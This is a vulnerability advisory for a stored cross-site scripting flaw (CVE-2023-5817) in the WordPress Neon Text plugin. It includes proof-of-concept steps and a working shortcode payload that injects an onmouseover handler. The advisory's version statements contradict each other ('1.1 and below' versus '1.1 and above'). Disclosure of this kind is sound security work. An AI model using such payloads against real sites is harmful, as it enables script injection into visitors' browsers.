Authored by Eren Car

WordPress Neon Text plugin versions 1.1 and below suffer from a persistent cross site scripting vulnerability.

advisories | CVE-2023-5817

# Exploit Title: WordPress Plugin Neon Text <= 1.1 - Stored Cross Site Scripting (XSS)
# Date: 2023-11-15
# Exploit Author: Eren Car
# Vendor Homepage:
# Software Link:
# Category: Web Application
# Version: 1.0
# Tested on: Debian / WordPress 6.4.1
# CVE : CVE-2023-5817

# 1. Description:
The Neon text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's neontext_box shortcode in 1.1 and above versions.

# 2. Proof of Concept (PoC):
a. Install and activate version 1.0 of the plugin.
b. Go to the posts page and create new post.
c. Add shorcode block and insert the following payload:

[neontext_box][neontext color='"onmouseover="alert(document.domain)"']TEST[/neontext][/neontext_box]

d. Save the changes and preview the page. Popup window demonstrating the vulnerability will be executed.